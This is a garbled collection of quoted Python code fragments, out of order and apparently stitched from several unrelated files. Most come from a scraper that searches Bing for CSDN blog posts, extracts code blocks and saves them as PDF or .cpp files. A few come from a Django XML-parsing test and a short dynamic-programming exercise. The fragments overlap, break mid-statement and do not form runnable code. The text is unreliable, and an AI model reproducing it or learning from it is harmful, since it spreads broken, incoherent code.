self._get_dict(self.args['query']) if not dic:", "Annabelle forever~', content=main_page.html()) if not os.path.exists(PDF_DIR): os.makedirs(PDF_DIR) filePath = os.path.join(PDF_DIR,", "= {k: v for k, v in dic.items() if _is_article(v)}", "_parse_url(self, url): ''' :param url: 网页url :return: 返回网页的主要区域的pyquery ''' page", "title = re.sub('[<>\\?\\\\\\/:\\*\\s]', '.', title) s = self._get_code(main_page, self.args) if", ":return: str ''' html = main_page('article')('pre')('code') or main_page('article')('pre') if not", "= self.links[self.args['number_link']] main_page = self._parse_url(url) title = main_page('h1').eq(0).text() title =", "except: print('[!!]要保存的网页可能有网页冲突') print('[注]保存html等语言的文档冲突的几率较大') print('[!!]save failed') print('[!!]如果事因为图片路径造成的保存失败,文字和代码部分则会正常生成pdf,') try: # 系统级命令好像try不到。。。 self.open_after_save(filePath)", "''' :param main_page:main_page=_parse_url(url) :param args: args :return: str ''' html", "show_results(self): if isinstance(self.data,str): print('[!!] ',self.data) return num = 0 for", "urllib import quote as url_quote from urllib import getproxies #", "s = re.sub('<((span)|(code)|(/span)|(/code)){1}.*?>', '', s) s = s.replace('&gt;', '>').replace('&lt;', '<')", "Gecko) ' 'Chrome/19.0.1084.46 Safari/536.5'), ('Mozilla/5.0 (Windows; Windows NT 6.1) AppleWebKit/536.5", "</head> <body> <!-- <center><h1>{title}</h1></center> --> {content} </body> </html> \"\"\" options", "_is_article(v)} # return confirm_dict def _get_dict(self, query): search_url = self._search_url.format(self.host,", "e: pass # if args['pdf'] and PDFpath.split('.')[-1]!='pdf': # PDFpath +=", "@staticmethod def _add_color(code, args): if not args['color']: return code lexer", "None try: lexer = guess_lexer(code) except ClassNotFound: return code return", "configuration=config) def open_after_save(self, pdf_path): if not self.args['open_pdf']: return try: if", "links if _is_article(link)] # # https://blog.csdn.net/u013177568/article/details/62432761 # confirm_dict = {k:", "OS X 10.7; rv:11.0) Gecko/20100101 Firefox/11.0', 'Mozilla/5.0 (X11; Ubuntu; Linux", "if args['pdf'] and PDFpath.split('.')[-1]!='pdf': # PDFpath += '.pdf' os.popen(pdf_path) def", "url = self.links[self.args['number_link']] main_page = self._parse_url(url) title = main_page('h1').eq(0).text() title", "dic = self._get_dict(self.args['query']) if not dic: return False '''先不检验。。测试多个域名。。''' return", "HDU result = self._get_result(search_url) html = pq(result) # return the", "len(self.args['save']): return False except TypeError as e: pass # if", "'0.75in', 'margin-right': '0.75in', 'margin-bottom': '0.75in', 'margin-left': '0.75in', 'encoding': \"UTF-8\", 'custom-header':", "code = s.split(ans_split)[-1] with open(filePath, 'w')as f: f.write(code) print('[*]save successfully...')", "options = { 'page-size': 'Letter', 'margin-top': '0.75in', 'margin-right': '0.75in', 'margin-bottom':", "os.path.split(os.path.realpath(__file__))[0] PDF_DIR = os.path.join(scripFilePath,'whoamiPDFdir') CPP_DIR = os.path.join(scripFilePath,'whoamiCPPdir') class Result(object): def", "self._save_to_pdf(html,filePath) print('[*] successfully ') except: print('[!!]要保存的网页可能有网页冲突') print('[注]保存html等语言的文档冲突的几率较大') print('[!!]save failed') print('[!!]如果事因为图片路径造成的保存失败,文字和代码部分则会正常生成pdf,')", "import TerminalFormatter from pygments.util import ClassNotFound from pyquery import PyQuery", "self.confirm_links() or 'Sorry, couldn\\'t find any help with that topic\\n'", "[ ('Accept-Encoding', 'gzip') ], 'cookie': [ ('cookie-name1', 'cookie-value1'), ('cookie-name2', 'cookie-value2'),", "+ '<==>' * 17 + '\\n' if args['all_code']: for node", "_test_is_open_if_exists(self, file_path): try: if len(self.args['save']): return False except TypeError as", "def show_code(self): url = list(self.data.values())[self.args['print']] main_page = self._parse_url(url) s =", "main_page('article')('pre')('code') or main_page('article')('pre') if not html: return None ans =", "+= 1 class Blog(Result): def __init__(self, host, args): super().__init__(host, args)", "'.', title) html = html_template.format(title='Oliver loves Annabelle forever~', content=main_page.html()) if", "'>').replace('&lt;', '<') ans.append(self._add_color(s, args)) else: node = pq(html[-1]) s =", "import sys from concurrent import futures import pdfkit import time", "return code lexer = None try: lexer = guess_lexer(code) except", "网页url :return: 返回网页的主要区域的pyquery ''' page = self._get_result(url) html = pq(page)", "self.whoami() def __call__(self, *args, **kwargs): return self.show_results() def __len__(self): return", "html = main_page('article')('pre')('code') or main_page('article')('pre') if not html: return None", "os.path.join(scripFilePath,'whoamiCPPdir') class Result(object): def __init__(self, host, args): self.args = args", "Intel Mac OS X 10.7; rv:11.0) Gecko/20100101 Firefox/11.0', 'Mozilla/5.0 (X11;", "PDF_DIR = os.path.join(scripFilePath,'whoamiPDFdir') CPP_DIR = os.path.join(scripFilePath,'whoamiCPPdir') class Result(object): def __init__(self,", "17 + '\\n' if args['all_code']: for node in html: node", "print(s) def save_to_pdf(self, url): html_template = u\"\"\" <!DOCTYPE html> <html>", "None @staticmethod def _extract_dict_from_bing(html): html.remove_namespaces() dic = {} for a", "u\"\"\" <!DOCTYPE html> <html> <head> <meta charset=\"utf-8\" /> <meta http-equiv=\"Content-Type\"", "return code = s.split(ans_split)[-1] with open(filePath, 'w')as f: f.write(code) print('[*]save", "return self.confirm_links() or 'Sorry, couldn\\'t find any help with that", "as e: print('[ERROR] Encountered an SSL Error.\\n') print('[*]retrying again automatically", "requests.get(url, headers={'User-Agent': random.choice(self._USER_AGENTS)}, ).text # verify = VERIFY_SSL_CERTIFICATE).text except requests.exceptions.SSLError", "</body> </html> \"\"\" options = { 'page-size': 'Letter', 'margin-top': '0.75in',", "title = main_page('h1').eq(0).text() title = re.sub('[<>\\?\\\\\\/:\\*\\s\\[\\]\\(\\)\\-]', '.', title) html =", "url_quote from urllib import getproxies # Handling Unicode: http://stackoverflow.com/a/6633040/305414 def", "urllib import getproxies # Handling Unicode: http://stackoverflow.com/a/6633040/305414 def u(x): return", "= os.path.join(scripFilePath,'whoamiCPPdir') class Result(object): def __init__(self, host, args): self.args =", "not self.args['open_pdf']: return try: if len(self.args['save']): return False except TypeError", "PyQuery as pq from requests.exceptions import ConnectionError from requests.exceptions import", "print('sorry , this article has no code...') print('please try another...')", "# 系统级命令好像try不到。。。 self.open_after_save(filePath) except: print('[!!]文件未打开,可能保存时发生IO错误。。') print('[!!]请重新生成pdf,或者,该网页的结构不符合生成pdf的标准') print('[~~]请见谅。。。。') @staticmethod def _save_to_pdf(html,", "return False '''先不检验。。测试多个域名。。''' return dic # def _is_article(link): # return", "not dic: return False '''先不检验。。测试多个域名。。''' return dic # def _is_article(link):", "node.html() # s=re.sub('</?[^>]+>','',s) s = re.sub('<((span)|(code)|(/span)|(/code)){1}.*?>', '', s) s =", "futures import pdfkit import time from retrying import retry from", "getproxies from urllib.parse import quote as url_quote def u(x): return", "page = self._get_result(url) html = pq(page) # the main part", "' 'Chrome/19.0.1084.46 Safari/536.5'), ('Mozilla/5.0 (Windows; Windows NT 6.1) AppleWebKit/536.5 (KHTML,", "self._get_dict(self.args['query']) if not dic: return False '''先不检验。。测试多个域名。。''' return dic #", "'Safari/536.5'), ) self.data = self.whoami() def __call__(self, *args, **kwargs): return", "'0.75in', 'encoding': \"UTF-8\", 'custom-header': [ ('Accept-Encoding', 'gzip') ], 'cookie': [", "'.pdf' os.popen(pdf_path) def _test_is_open_if_exists(self, file_path): try: if len(self.args['save']): return False", "= 0 for k, v in self.data.items(): print('[*{}*] '.format(str(num)), end='')", "return try: print('[*] save to ', filePath) self._save_to_pdf(html,filePath) print('[*] successfully", "pass if self.args['open_pdf']: if os.path.exists(file_path): print('文件已经存在,直接打开') os.popen(file_path) return True else:", "('cookie-name2', 'cookie-value2'), ], 'outline-depth': 10, } main_page = self._parse_url(url) title", "from pyquery import PyQuery as pq from requests.exceptions import ConnectionError", "args :return: str ''' html = main_page('article')('pre')('code') or main_page('article')('pre') if", "import pdfkit import time from retrying import retry from pygments", "ans_split = '\\n' + '<==>' * 17 + '\\n' url", "from requests.exceptions import SSLError import numbers if sys.version < '3':", "= self._parse_url(url) title = main_page('h1').eq(0).text() title = re.sub('[<>\\?\\\\\\/:\\*\\s\\[\\]\\(\\)\\-]', '.', title)", "s) s = s.replace('&gt;', '>').replace('&lt;', '<') ans.append(self._add_color(s, args)) return ans_split.join(ans)", "import futures import pdfkit import time from retrying import retry", "args['color']: return code lexer = None try: lexer = guess_lexer(code)", "Firefox/11.0', 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:22.0) Gecko/20100 101 Firefox/22.0',", "self.show_results() def __len__(self): return len(self.data) def whoami(self): self.args['query'] = '", "self._USER_AGENTS = ('Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:11.0)", "import getproxies from urllib.parse import quote as url_quote def u(x):", "return x scripFilePath = os.path.split(os.path.realpath(__file__))[0] PDF_DIR = os.path.join(scripFilePath,'whoamiPDFdir') CPP_DIR =", "return self.show_results() def __len__(self): return len(self.data) def whoami(self): self.args['query'] =", "= None try: lexer = guess_lexer(code) except ClassNotFound: return code", "= a.text link = a.attrib['href'] dic[name] = str(link) # num+=1", "establish network connection\\n' def confirm_links(self): dic = self._get_dict(self.args['query']) if not", "self._get_result(search_url) html = pq(result) # return the anser_list return self._extract_links(html,", "= self._get_code(main_page, self.args) or 'sorry,this article has no code...' print(s)", "self._test_is_open_if_exists(filePath): return try: print('[*] save to ', filePath) self._save_to_pdf(html,filePath) print('[*]", "node in html: node = pq(node) s = node.html() #", "= pq(node) s = node.html() # s=re.sub('</?[^>]+>','',s) s = re.sub('<((span)|(code)|(/span)|(/code)){1}.*?>',", "= os.path.join(CPP_DIR, title + '.cpp') if self._test_is_open_if_exists(filePath): return code =", "pyquery import PyQuery as pq from requests.exceptions import ConnectionError from", "return try: if len(self.args['save']): return False except TypeError as e:", "like Gecko) Chrome/19.0.1084.46' 'Safari/536.5'), ) self.data = self.whoami() def __call__(self,", "('Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:11.0) Gecko/20100101 Firefox/11.0',", "import requests import sys from concurrent import futures import pdfkit", "/> </head> <body> <!-- <center><h1>{title}</h1></center> --> {content} </body> </html> \"\"\"", "6.1; rv:11.0) Gecko/20100101 Firefox/11.0', ('Mozilla/5.0 (Macintosh; Intel Mac OS X", "show_code(self): url = list(self.data.values())[self.args['print']] main_page = self._parse_url(url) s = self._get_code(main_page,", "'margin-right': '0.75in', 'margin-bottom': '0.75in', 'margin-left': '0.75in', 'encoding': \"UTF-8\", 'custom-header': [", "the article return html('.blog-content-box') def _get_code(self, main_page, args): ''' :param", "pygments import highlight from pygments.lexers import guess_lexer, get_lexer_by_name from pygments.lexers", "url = list(self.data.values())[self.args['print']] main_page = self._parse_url(url) s = self._get_code(main_page, self.args)", "ans.append(self._add_color(s, args)) else: node = pq(html[-1]) s = node.html() s", "系统级命令好像try不到。。。 self.open_after_save(filePath) except: print('[!!]文件未打开,可能保存时发生IO错误。。') print('[!!]请重新生成pdf,或者,该网页的结构不符合生成pdf的标准') print('[~~]请见谅。。。。') @staticmethod def _save_to_pdf(html, filepath):", "except TypeError as e: pass if self.args['open_pdf']: if os.path.exists(file_path): print('文件已经存在,直接打开')", "if _is_article(link)] # # https://blog.csdn.net/u013177568/article/details/62432761 # confirm_dict = {k: v", "title) html = html_template.format(title='Oliver loves Annabelle forever~', content=main_page.html()) if not", "content=main_page.html()) if not os.path.exists(PDF_DIR): os.makedirs(PDF_DIR) filePath = os.path.join(PDF_DIR, title +", "import time import time import argparse import glob import os", "s = self._get_code(main_page, self.args) or 'sorry,this article has no code...'", "s.split(ans_split)[-1] with open(filePath, 'w')as f: f.write(code) print('[*]save successfully...') try: self.open_after_save(filePath)", "= node.html() s = re.sub('<((span)|(code)|(/span)|(/code)){1}.*?>', '', s) s = s.replace('&gt;',", "# the main part of the article return html('.blog-content-box') def", "<gh_stars>0 import aiohttp import asyncio import time import time import", "import quote as url_quote def u(x): return x scripFilePath =", "def _get_result(self, url): try: return requests.get(url, headers={'User-Agent': random.choice(self._USER_AGENTS)}, ).text #", "('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like", "Unicode: http://stackoverflow.com/a/6633040/305414 def u(x): return codecs.unicode_escape_decode(x)[0] else: from urllib.request import", "(Windows; Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.46' 'Safari/536.5'),", "search_engine == 'bing': return self._extract_dict_from_bing(html) return None @staticmethod def _extract_dict_from_bing(html):", "= os.path.join(PDF_DIR, title + '.pdf') if self._test_is_open_if_exists(filePath): return try: print('[*]", "'.cpp') if self._test_is_open_if_exists(filePath): return code = s.split(ans_split)[-1] with open(filePath, 'w')as", "_get_code(self, main_page, args): ''' :param main_page:main_page=_parse_url(url) :param args: args :return:", "config = pdfkit.configuration(wkhtmltopdf=wkhtmltopdf_path) pdfkit.from_string(html, filepath, configuration=config) def open_after_save(self, pdf_path): if", "to ', filePath) self._save_to_pdf(html,filePath) print('[*] successfully ') except: print('[!!]要保存的网页可能有网页冲突') print('[注]保存html等语言的文档冲突的几率较大')", "find any help with that topic\\n' except (ConnectionError, SSLError): return", "search_url : site:blog.csdn.net 1173 HDU result = self._get_result(search_url) html =", "= s.replace('&gt;', '>').replace('&lt;', '<') ans.append(self._add_color(s, args)) else: node = pq(html[-1])", "try: print('[*] save to ', filePath) self._save_to_pdf(html,filePath) print('[*] successfully ')", "this article has no code...') print('please try another...') return if", "(ConnectionError, SSLError): return 'Failed to establish network connection\\n' def confirm_links(self):", "import glob import os import shutil import random import re", "requests.exceptions import ConnectionError from requests.exceptions import SSLError import numbers if", "try: # 系统级命令好像try不到。。。 self.open_after_save(filePath) except: print('[!!]文件未打开,可能保存时发生IO错误。。') print('[!!]请重新生成pdf,或者,该网页的结构不符合生成pdf的标准') print('[~~]请见谅。。。。') @staticmethod def", "= pq(page) # the main part of the article return", "as url_quote def u(x): return x scripFilePath = os.path.split(os.path.realpath(__file__))[0] PDF_DIR", "def confirm_links(self): dic = self._get_dict(self.args['query']) if not dic: return False", "like Gecko) ' 'Chrome/19.0.1084.46 Safari/536.5'), ('Mozilla/5.0 (Windows; Windows NT 6.1)", "try another...') return if not os.path.exists(CPP_DIR): os.makedirs(CPP_DIR) filePath = os.path.join(CPP_DIR,", "= node.html() # s=re.sub('</?[^>]+>','',s) s = re.sub('<((span)|(code)|(/span)|(/code)){1}.*?>', '', s) s", "], 'cookie': [ ('cookie-name1', 'cookie-value1'), ('cookie-name2', 'cookie-value2'), ], 'outline-depth': 10,", "def show_results(self): if isinstance(self.data,str): print('[!!] ',self.data) return num = 0", "def _test_is_open_if_exists(self, file_path): try: if len(self.args['save']): return False except TypeError", "save_to_pdf(self, url): html_template = u\"\"\" <!DOCTYPE html> <html> <head> <meta", "html = html_template.format(title='Oliver loves Annabelle forever~', content=main_page.html()) if not os.path.exists(PDF_DIR):", "main_page('h1').eq(0).text() title = re.sub('[<>\\?\\\\\\/:\\*\\s\\[\\]\\(\\)\\-]', '.', title) html = html_template.format(title='Oliver loves", "return html('.blog-content-box') def _get_code(self, main_page, args): ''' :param main_page:main_page=_parse_url(url) :param", "'<==>' * 17 + '\\n' url = self.links[self.args['number_link']] main_page =", "rv:22.0) Gecko/20100 101 Firefox/22.0', # 'Mozilla/5.0 (Windows NT 6.1; rv:11.0)", "import ConnectionError from requests.exceptions import SSLError import numbers if sys.version", "quote as url_quote def u(x): return x scripFilePath = os.path.split(os.path.realpath(__file__))[0]", "url): try: return requests.get(url, headers={'User-Agent': random.choice(self._USER_AGENTS)}, ).text # verify =", "not s: print('sorry , this article has no code...') print('please", "dic # def _is_article(link): # return re.search('article/details/\\d+', link) # #", "print('please try another...') return if not os.path.exists(CPP_DIR): os.makedirs(CPP_DIR) filePath =", "def save_to_cpp(self): ans_split = '\\n' + '<==>' * 17 +", "os.makedirs(PDF_DIR) filePath = os.path.join(PDF_DIR, title + '.pdf') if self._test_is_open_if_exists(filePath): return", "that topic\\n' except (ConnectionError, SSLError): return 'Failed to establish network", "html_template.format(title='Oliver loves Annabelle forever~', content=main_page.html()) if not os.path.exists(PDF_DIR): os.makedirs(PDF_DIR) filePath", "False def _parse_url(self, url): ''' :param url: 网页url :return: 返回网页的主要区域的pyquery", "'w')as f: f.write(code) print('[*]save successfully...') try: self.open_after_save(filePath) except: print('[!!]文件未打开,可能保存时发生IO错误。。') print('[!!]open", "''' html = main_page('article')('pre')('code') or main_page('article')('pre') if not html: return", "return 'Failed to establish network connection\\n' def confirm_links(self): dic =", "from pygments.lexers import guess_lexer, get_lexer_by_name from pygments.lexers import CppLexer from", "import time import argparse import glob import os import shutil", "= [link for link in links if _is_article(link)] # #", "* 17 + '\\n' url = self.links[self.args['number_link']] main_page = self._parse_url(url)", "= ' '.join(self.args['query']).replace('?', '') try: return self.confirm_links() or 'Sorry, couldn\\'t", "= self._get_dict(self.args['query']) if not dic: return False '''先不检验。。测试多个域名。。''' return dic", "a in html('.b_algo')('h2')('a'): # name ='[*{0}*] {1}'.format(str(num),a.text) name = a.text", "from urllib import getproxies # Handling Unicode: http://stackoverflow.com/a/6633040/305414 def u(x):", "AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.46' 'Safari/536.5'), ) self.data = self.whoami()", "guess_lexer, get_lexer_by_name from pygments.lexers import CppLexer from pygments.formatters.terminal import TerminalFormatter", "if not dic: return False '''先不检验。。测试多个域名。。''' return dic # def", "# return the anser_list return self._extract_links(html, 'bing') @retry(stop_max_attempt_number=3) def _get_result(self,", "if isinstance(self.data,str): print('[!!] ',self.data) return num = 0 for k,", "args)) else: node = pq(html[-1]) s = node.html() s =", "def u(x): return codecs.unicode_escape_decode(x)[0] else: from urllib.request import getproxies from", "node = pq(node) s = node.html() # s=re.sub('</?[^>]+>','',s) s =", "print('[*] successfully ') except: print('[!!]要保存的网页可能有网页冲突') print('[注]保存html等语言的文档冲突的几率较大') print('[!!]save failed') print('[!!]如果事因为图片路径造成的保存失败,文字和代码部分则会正常生成pdf,') try:", "pygments.lexers import CppLexer from pygments.formatters.terminal import TerminalFormatter from pygments.util import", "self.host = host self._search_url = 'https://www.bing.com/search?q=site:{0}%20{1}' self._USER_AGENTS = ('Mozilla/5.0 (Macintosh;", "codecs from urllib import quote as url_quote from urllib import", "'sorry,this article has no code...' print(s) def save_to_pdf(self, url): html_template", "link = a.attrib['href'] dic[name] = str(link) # num+=1 return dic", "+ '/wkhtmltox/bin/wkhtmltopdf.exe' config = pdfkit.configuration(wkhtmltopdf=wkhtmltopdf_path) pdfkit.from_string(html, filepath, configuration=config) def open_after_save(self,", "Firefox/11.0', ('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML,", "host, args): super().__init__(host, args) self.links = list(self.data.values()) def show_code(self): url", "import SSLError import numbers if sys.version < '3': import codecs", "self._get_result(url) html = pq(page) # the main part of the", "print('[!!]save failed') print('[!!]如果事因为图片路径造成的保存失败,文字和代码部分则会正常生成pdf,') try: # 系统级命令好像try不到。。。 self.open_after_save(filePath) except: print('[!!]文件未打开,可能保存时发生IO错误。。') print('[!!]请重新生成pdf,或者,该网页的结构不符合生成pdf的标准')", "s: print('sorry , this article has no code...') print('please try", "sys.version < '3': import codecs from urllib import quote as", "pdfkit.configuration(wkhtmltopdf=wkhtmltopdf_path) pdfkit.from_string(html, filepath, configuration=config) def open_after_save(self, pdf_path): if not self.args['open_pdf']:", "s = node.html() # s=re.sub('</?[^>]+>','',s) s = re.sub('<((span)|(code)|(/span)|(/code)){1}.*?>', '', s)", "Mac OS X 10.7; rv:11.0) Gecko/20100101 Firefox/11.0', 'Mozilla/5.0 (X11; Ubuntu;", "a.text link = a.attrib['href'] dic[name] = str(link) # num+=1 return", "'3': import codecs from urllib import quote as url_quote from", "return False except TypeError as e: pass # if args['pdf']", "PDFpath += '.pdf' os.popen(pdf_path) def _test_is_open_if_exists(self, file_path): try: if len(self.args['save']):", "s.replace('&gt;', '>').replace('&lt;', '<') ans.append(self._add_color(s, args)) return ans_split.join(ans) @staticmethod def _add_color(code,", "ans.append(self._add_color(s, args)) return ans_split.join(ans) @staticmethod def _add_color(code, args): if not", "'Mozilla/5.0 (Windows NT 6.1; rv:11.0) Gecko/20100101 Firefox/11.0', ('Mozilla/5.0 (Macintosh; Intel", "'Chrome/19.0.1084.46 Safari/536.5'), ('Mozilla/5.0 (Windows; Windows NT 6.1) AppleWebKit/536.5 (KHTML, like", "import random import re import requests import sys from concurrent", "if sys.version < '3': import codecs from urllib import quote", "def u(x): return x scripFilePath = os.path.split(os.path.realpath(__file__))[0] PDF_DIR = os.path.join(scripFilePath,'whoamiPDFdir')", "X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) ' 'Chrome/19.0.1084.46 Safari/536.5'), ('Mozilla/5.0", "ans_split.join(ans) @staticmethod def _add_color(code, args): if not args['color']: return code", "self.data.items(): print('[*{}*] '.format(str(num)), end='') print(k, end=' [*link*] ') print(v) num", "print('[!!]请重新生成pdf,或者,该网页的结构不符合生成pdf的标准') print('[~~]请见谅。。。。') @staticmethod def _save_to_pdf(html, filepath): wkhtmltopdf_path = scripFilePath +", "= self._get_result(url) html = pq(page) # the main part of", "from requests.exceptions import ConnectionError from requests.exceptions import SSLError import numbers", "def __init__(self, host, args): self.args = args self.host = host", "def _extract_links(self, html, search_engine): if search_engine == 'bing': return self._extract_dict_from_bing(html)", "'margin-bottom': '0.75in', 'margin-left': '0.75in', 'encoding': \"UTF-8\", 'custom-header': [ ('Accept-Encoding', 'gzip')", "title = re.sub('[<>\\?\\\\\\/:\\*\\s\\[\\]\\(\\)\\-]', '.', title) html = html_template.format(title='Oliver loves Annabelle", "url): ''' :param url: 网页url :return: 返回网页的主要区域的pyquery ''' page =", "main_page:main_page=_parse_url(url) :param args: args :return: str ''' html = main_page('article')('pre')('code')", "= main_page('h1').eq(0).text() title = re.sub('[<>\\?\\\\\\/:\\*\\s\\[\\]\\(\\)\\-]', '.', title) html = html_template.format(title='Oliver", "if len(self.args['save']): return False except TypeError as e: pass if", "', filePath) self._save_to_pdf(html,filePath) print('[*] successfully ') except: print('[!!]要保存的网页可能有网页冲突') print('[注]保存html等语言的文档冲突的几率较大') print('[!!]save", "('Accept-Encoding', 'gzip') ], 'cookie': [ ('cookie-name1', 'cookie-value1'), ('cookie-name2', 'cookie-value2'), ],", "'https://www.bing.com/search?q=site:{0}%20{1}' self._USER_AGENTS = ('Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7;", "argparse import glob import os import shutil import random import", "if not s: print('sorry , this article has no code...')", "print('[*{}*] '.format(str(num)), end='') print(k, end=' [*link*] ') print(v) num +=", "CPP_DIR = os.path.join(scripFilePath,'whoamiCPPdir') class Result(object): def __init__(self, host, args): self.args", "Gecko) Chrome/19.0.1084.46' 'Safari/536.5'), ) self.data = self.whoami() def __call__(self, *args,", "args)) return ans_split.join(ans) @staticmethod def _add_color(code, args): if not args['color']:", "self.args['query'] = ' '.join(self.args['query']).replace('?', '') try: return self.confirm_links() or 'Sorry,", "args): if not args['color']: return code lexer = None try:", "'bing') @retry(stop_max_attempt_number=3) def _get_result(self, url): try: return requests.get(url, headers={'User-Agent': random.choice(self._USER_AGENTS)},", "NT 6.1; rv:11.0) Gecko/20100101 Firefox/11.0', ('Mozilla/5.0 (Macintosh; Intel Mac OS", "# PDFpath += '.pdf' os.popen(pdf_path) def _test_is_open_if_exists(self, file_path): try: if", "{1}'.format(str(num),a.text) name = a.text link = a.attrib['href'] dic[name] = str(link)" ]
[ "\"rb\") as f: xml_data = f.read() try: _parse_xml(xml_data) # this", "except: self.fail(\"Parsing normal string data shouldn't fail!\") try: _parse_xml(unicode(xml_data)) except:", "from corehq.apps.app_manager.models import _parse_xml import os class XMLParsingTest(TestCase): def testUnicodeError(self):", "should not raise an error except: self.fail(\"Parsing normal string data", "django.test import SimpleTestCase as TestCase from corehq.apps.app_manager.models import _parse_xml import", "as TestCase from corehq.apps.app_manager.models import _parse_xml import os class XMLParsingTest(TestCase):", "_parse_xml import os class XMLParsingTest(TestCase): def testUnicodeError(self): \"\"\"Tests a bug", "processing of a form\"\"\" file_path = os.path.join(os.path.dirname(__file__), \"data\", \"unicode_error_form.xhtml\") with", "from django.test import SimpleTestCase as TestCase from corehq.apps.app_manager.models import _parse_xml", "\"\"\"Tests a bug found in Unicode processing of a form\"\"\"", "as f: xml_data = f.read() try: _parse_xml(xml_data) # this should", "shouldn't fail!\") try: _parse_xml(unicode(xml_data)) except: self.fail(\"Parsing unicode data shouldn't fail!\")", "xml_data = f.read() try: _parse_xml(xml_data) # this should not raise", "a bug found in Unicode processing of a form\"\"\" file_path", "f: xml_data = f.read() try: _parse_xml(xml_data) # this should not", "in Unicode processing of a form\"\"\" file_path = os.path.join(os.path.dirname(__file__), \"data\",", "raise an error except: self.fail(\"Parsing normal string data shouldn't fail!\")", "XMLParsingTest(TestCase): def testUnicodeError(self): \"\"\"Tests a bug found in Unicode processing", "file_path = os.path.join(os.path.dirname(__file__), \"data\", \"unicode_error_form.xhtml\") with open(file_path, \"rb\") as f:", "import _parse_xml import os class XMLParsingTest(TestCase): def testUnicodeError(self): \"\"\"Tests a", "found in Unicode processing of a form\"\"\" file_path = os.path.join(os.path.dirname(__file__),", "\"data\", \"unicode_error_form.xhtml\") with open(file_path, \"rb\") as f: xml_data = f.read()", "os.path.join(os.path.dirname(__file__), \"data\", \"unicode_error_form.xhtml\") with open(file_path, \"rb\") as f: xml_data =", "form\"\"\" file_path = os.path.join(os.path.dirname(__file__), \"data\", \"unicode_error_form.xhtml\") with open(file_path, \"rb\") as", "os class XMLParsingTest(TestCase): def testUnicodeError(self): \"\"\"Tests a bug found in", "class XMLParsingTest(TestCase): def testUnicodeError(self): \"\"\"Tests a bug found in Unicode", "= f.read() try: _parse_xml(xml_data) # this should not raise an", "TestCase from corehq.apps.app_manager.models import _parse_xml import os class XMLParsingTest(TestCase): def", "_parse_xml(xml_data) # this should not raise an error except: self.fail(\"Parsing", "testUnicodeError(self): \"\"\"Tests a bug found in Unicode processing of a", "bug found in Unicode processing of a form\"\"\" file_path =", "try: _parse_xml(xml_data) # this should not raise an error except:", "normal string data shouldn't fail!\") try: _parse_xml(unicode(xml_data)) except: self.fail(\"Parsing unicode", "open(file_path, \"rb\") as f: xml_data = f.read() try: _parse_xml(xml_data) #", "def testUnicodeError(self): \"\"\"Tests a bug found in Unicode processing of", "import SimpleTestCase as TestCase from corehq.apps.app_manager.models import _parse_xml import os", "a form\"\"\" file_path = os.path.join(os.path.dirname(__file__), \"data\", \"unicode_error_form.xhtml\") with open(file_path, \"rb\")", "error except: self.fail(\"Parsing normal string data shouldn't fail!\") try: _parse_xml(unicode(xml_data))", "corehq.apps.app_manager.models import _parse_xml import os class XMLParsingTest(TestCase): def testUnicodeError(self): \"\"\"Tests", "of a form\"\"\" file_path = os.path.join(os.path.dirname(__file__), \"data\", \"unicode_error_form.xhtml\") with open(file_path,", "# this should not raise an error except: self.fail(\"Parsing normal", "SimpleTestCase as TestCase from corehq.apps.app_manager.models import _parse_xml import os class", "with open(file_path, \"rb\") as f: xml_data = f.read() try: _parse_xml(xml_data)", "import os class XMLParsingTest(TestCase): def testUnicodeError(self): \"\"\"Tests a bug found", "data shouldn't fail!\") try: _parse_xml(unicode(xml_data)) except: self.fail(\"Parsing unicode data shouldn't", "an error except: self.fail(\"Parsing normal string data shouldn't fail!\") try:", "\"unicode_error_form.xhtml\") with open(file_path, \"rb\") as f: xml_data = f.read() try:", "string data shouldn't fail!\") try: _parse_xml(unicode(xml_data)) except: self.fail(\"Parsing unicode data", "not raise an error except: self.fail(\"Parsing normal string data shouldn't", "f.read() try: _parse_xml(xml_data) # this should not raise an error", "this should not raise an error except: self.fail(\"Parsing normal string", "self.fail(\"Parsing normal string data shouldn't fail!\") try: _parse_xml(unicode(xml_data)) except: self.fail(\"Parsing", "= os.path.join(os.path.dirname(__file__), \"data\", \"unicode_error_form.xhtml\") with open(file_path, \"rb\") as f: xml_data", "Unicode processing of a form\"\"\" file_path = os.path.join(os.path.dirname(__file__), \"data\", \"unicode_error_form.xhtml\")" ]
[ "= map(int, input().split()) Ds = [*map(int, input().split())] # compute dp", "True for D in Ds: if ni >= D: dp[ni]", "Ds: if ni >= D: dp[ni] = dp[ni] or dp[ni-D]", "in range(N+1): if ni == 0: dp[ni] = True for", "= [False] * (N+1) for ni in range(N+1): if ni", "range(N+1): if ni == 0: dp[ni] = True for D", "map(int, input().split()) Ds = [*map(int, input().split())] # compute dp =", "input N, M = map(int, input().split()) Ds = [*map(int, input().split())]", "dp[ni] or dp[ni-D] # output print(\"Yes\" if dp[-1] else \"No\")", "input().split())] # compute dp = [False] * (N+1) for ni", "ni >= D: dp[ni] = dp[ni] or dp[ni-D] # output", "* (N+1) for ni in range(N+1): if ni == 0:", "== 0: dp[ni] = True for D in Ds: if", "(N+1) for ni in range(N+1): if ni == 0: dp[ni]", "[*map(int, input().split())] # compute dp = [False] * (N+1) for", "if ni == 0: dp[ni] = True for D in", "dp[ni] = True for D in Ds: if ni >=", "= dp[ni] or dp[ni-D] # output print(\"Yes\" if dp[-1] else", "# compute dp = [False] * (N+1) for ni in", "= True for D in Ds: if ni >= D:", "= [*map(int, input().split())] # compute dp = [False] * (N+1)", "compute dp = [False] * (N+1) for ni in range(N+1):", ">= D: dp[ni] = dp[ni] or dp[ni-D] # output print(\"Yes\"", "N, M = map(int, input().split()) Ds = [*map(int, input().split())] #", "0: dp[ni] = True for D in Ds: if ni", "M = map(int, input().split()) Ds = [*map(int, input().split())] # compute", "dp = [False] * (N+1) for ni in range(N+1): if", "# input N, M = map(int, input().split()) Ds = [*map(int,", "[False] * (N+1) for ni in range(N+1): if ni ==", "in Ds: if ni >= D: 